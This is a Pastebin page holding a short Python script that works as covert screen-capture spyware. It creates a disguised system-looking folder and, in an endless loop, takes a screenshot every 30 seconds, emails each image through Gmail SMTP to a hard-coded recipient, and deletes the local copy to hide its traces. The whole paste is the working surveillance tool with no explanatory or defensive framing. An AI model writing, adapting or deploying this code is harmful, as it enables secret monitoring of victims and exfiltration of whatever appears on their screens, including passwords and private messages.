Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import time
- import string
- import random
- import smtplib
- import pyautogui
- from email.mime.text import MIMEText
- from email.mime.image import MIMEImage
- from email.mime.multipart import MIMEMultipart
- if os.path.exists('C:\\$y$temF0lder'):
- pass
- else:
- os.mkdir('C:\\$y$temF0lder')
- os.chdir('C:\\$y$temF0lder')
- def send_mail():
- msg = MIMEMultipart()
- fromadd = 'fromaddress@gmail.com'
- toadd = 'toaddress@gmail.com'
- msg['From'] = fromadd
- msg['To'] = toadd
- msg['Subject'] = 'Photos'
- text = MIMEText('Pic')
- msg.attach(text)
- img = open(image_name, 'rb').read()
- send_image = MIMEImage(img, name=os.path.basename(image_name))
- msg.attach(send_image)
- sessions = smtplib.SMTP('smtp.gmail.com', '587')
- sessions.ehlo()
- sessions.starttls()
- sessions.ehlo()
- sessions.login(fromadd, 'Password')
- sessions.sendmail(fromadd, toadd, msg.as_string())
- sessions.quit()
- def main():
- global image_name
- while True:
- name = ''
- for i in range(10):
- x = random.randint(0,62)
- name += string.printable[x]
- screenshot = pyautogui.screenshot()
- screenshot.save(name + '.png')
- image_name = name + '.png'
- send_mail()
- os.remove(image_name)
- time.sleep(30)
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement